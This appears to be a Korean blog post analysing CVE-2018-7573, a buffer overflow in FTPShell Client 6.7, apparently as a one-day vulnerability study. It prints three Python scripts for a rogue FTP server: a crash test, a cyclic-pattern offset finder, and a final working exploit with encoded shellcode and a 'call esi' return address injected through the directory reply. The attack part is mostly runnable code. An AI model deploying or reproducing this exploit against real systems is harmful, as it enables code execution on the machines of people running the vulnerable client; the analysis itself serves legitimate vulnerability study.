본문 바로가기

One-day

CVE-2018-7573 분석

https://www.exploit-db.com/exploits/44596

 

FTPShell Client 6.7 - Buffer Overflow

FTPShell Client 6.7 - Buffer Overflow EDB-ID: 44596 CVE: 2018-7573 Date: 2018-05-08

www.exploit-db.com

해당 CVE는 FTP에 접근하는 클라이언트에게 Buffer Overflow를 발생시키는 취약점이다.

 

필요한 환경은 Windows XP 버전과 FTP shell이며, 분석을 위해 Ollydbg도 필요하다.

 

위의 URL에 있는 PoC 코드를 약간 수정해서 분석해 보자.

import socket
import sys

port = 21

try: 
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind(("0.0.0.0", port))
    s.listen(5)
    print("[+] FTP server started on port "+ str(port) + "\r\n")
except:
    print("[x] Failed to start the server on port: " + str(port) + "\r\n")


buf = b'A'*600
payload = buf

while True:
    conn, addr = s.accept()
    conn.send(b'220 FTP Server\r\n')
    print(conn.recv(1024))
    conn.send(b'331 OK\r\n')
    print(conn.recv(1024))
    conn.send(b'230 OK\r\n')
    print(conn.recv(1024))   
    conn.send(b'220 "'+payload+b'" is corrent directory\r\n')

 

서버 역할을 하는 측에서 위의 코드를 클라이언트에게 전송하게 되면 Buffer Overflow가 일어난다.

 

클라이언트는 위와 같은 에러가 발생한다.

해당 에러를 보게 되면 41414141(AAAA) 주소에 접근할 수 없기 때문에 발생하는 것인데, 이는 곧 EIP가 41414141로 덮였음을 알 수 있다.

자세하게 분석하기 위해 Ollydbg를 FTPShell에 붙인 후, 다시 연결해 보면

위와 같이 정확하게 EIP의 값이 41414141로 덮인 것을 확인할 수 있다. 따라서 해당 값에 우리가 원하는 값을 입력하게 되면 해당 주소로 실행 흐름을 옮길 수 있는 것이다.

그러기 위해서는 python 코드의 A 600개 중에서 어떤 위치가 EIP인지 알아야 한다.

 

https://zerosum0x0.blogspot.com/2016/11/overflow-exploit-pattern-generator.html

 

Overflow Exploit Pattern Generator - Online Tool

Metasploit's pattern generator is a great tool, but Ruby's startup time is abysmally slow. Out of frustration, I made this in-browser online...

zerosum0x0.blogspot.com

위 페이지에서 600개의 문자를 생성한 뒤 이전의 A 600개를 대체한다.

import socket
import sys

port = 21

try: 
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind(("0.0.0.0", port))
    s.listen(5)
    print("[+] FTP server started on port "+ str(port) + "\r\n")
except:
    print("[x] Failed to start the server on port: " + str(port) + "\r\n")


buf = b'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9'

payload = buf

while True:
    conn, addr = s.accept()
    conn.send(b'220 FTP Server\r\n')
    print(conn.recv(1024))
    conn.send(b'331 OK\r\n')
    print(conn.recv(1024))
    conn.send(b'230 OK\r\n')
    print(conn.recv(1024))   
    conn.send(b'220 "'+payload+b'" is corrent directory\r\n')

 

그 후, 다시 연결해 보면

EIP의 값이 6E41336E ( nA3n )인 것을 확인할 수 있다.

이전에 생성한 값들 중 해당 값을 찾을 수 있기 때문에 정확한 EIP의 위치를 알 수 있게 된다.

 

마지막으로, 최종 코드의 흐름을 생각해 보면 

Shellcode + Shellcode의 주소 (EIP) 정도로 구현해야 한다.

그렇다면 우리가 입력하는 값이 어디부터 들어가는지가 중요하다.

ESI 레지스터를 보게 되면 우리가 입력한 값들이 순서대로 들어간 것을 확인할 수 있다.

따라서 EIP가 ESI를 호출( call esi ) 하게 한 뒤, Shellcode를 ESI에 입력하게 되면 해당 Shellcode가 실행될 수 있다.

 

최종 코드는 아래와 같다.

import socket
import sys

port = 21

try: 
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind(("0.0.0.0", port))
    s.listen(5)
    print("[+] FTP server started on port "+ str(port) + "\r\n")
except:
    print("[x] Failed to start the server on port: " + str(port) + "\r\n")


buf =  b""
buf += b"\xdb\xc8\xba\x3e\x93\x15\x8f\xd9\x74\x24\xf4\x5e\x33"
buf += b"\xc9\xb1\x31\x31\x56\x18\x03\x56\x18\x83\xc6\x3a\x71"
buf += b"\xe0\x73\xaa\xf7\x0b\x8c\x2a\x98\x82\x69\x1b\x98\xf1"
buf += b"\xfa\x0b\x28\x71\xae\xa7\xc3\xd7\x5b\x3c\xa1\xff\x6c"
buf += b"\xf5\x0c\x26\x42\x06\x3c\x1a\xc5\x84\x3f\x4f\x25\xb5"
buf += b"\x8f\x82\x24\xf2\xf2\x6f\x74\xab\x79\xdd\x69\xd8\x34"
buf += b"\xde\x02\x92\xd9\x66\xf6\x62\xdb\x47\xa9\xf9\x82\x47"
buf += b"\x4b\x2e\xbf\xc1\x53\x33\xfa\x98\xe8\x87\x70\x1b\x39"
buf += b"\xd6\x79\xb0\x04\xd7\x8b\xc8\x41\xdf\x73\xbf\xbb\x1c"
buf += b"\x09\xb8\x7f\x5f\xd5\x4d\x64\xc7\x9e\xf6\x40\xf6\x73"
buf += b"\x60\x02\xf4\x38\xe6\x4c\x18\xbe\x2b\xe7\x24\x4b\xca"
buf += b"\x28\xad\x0f\xe9\xec\xf6\xd4\x90\xb5\x52\xba\xad\xa6"
buf += b"\x3d\x63\x08\xac\xd3\x70\x21\xef\xb9\x87\xb7\x95\x8f"
buf += b"\x88\xc7\x95\xbf\xe0\xf6\x1e\x50\x76\x07\xf5\x15\x88"
buf += b"\x4d\x54\x3f\x01\x08\x0c\x02\x4c\xab\xfa\x40\x69\x28"
buf += b"\x0f\x38\x8e\x30\x7a\x3d\xca\xf6\x96\x4f\x43\x93\x98"
buf += b"\xfc\x64\xb6\xfa\x63\xf7\x5a\xd3\x06\x7f\xf8\x2b"

call_esi = b'\xed\x2e\x45'
nop = b'\x90'*10

payload = buf + b'A'*(400-len(buf)) + b'\xed\x2e\x45'

while True:
    conn, addr = s.accept()
    conn.send(b'220 FTP Server\r\n')
    print(conn.recv(1024))
    conn.send(b'331 OK\r\n')
    print(conn.recv(1024))
    conn.send(b'230 OK\r\n')
    print(conn.recv(1024))   
    conn.send(b'220 "'+payload+b'" is corrent directory\r\n')

Shellcode + Dummy + Call esi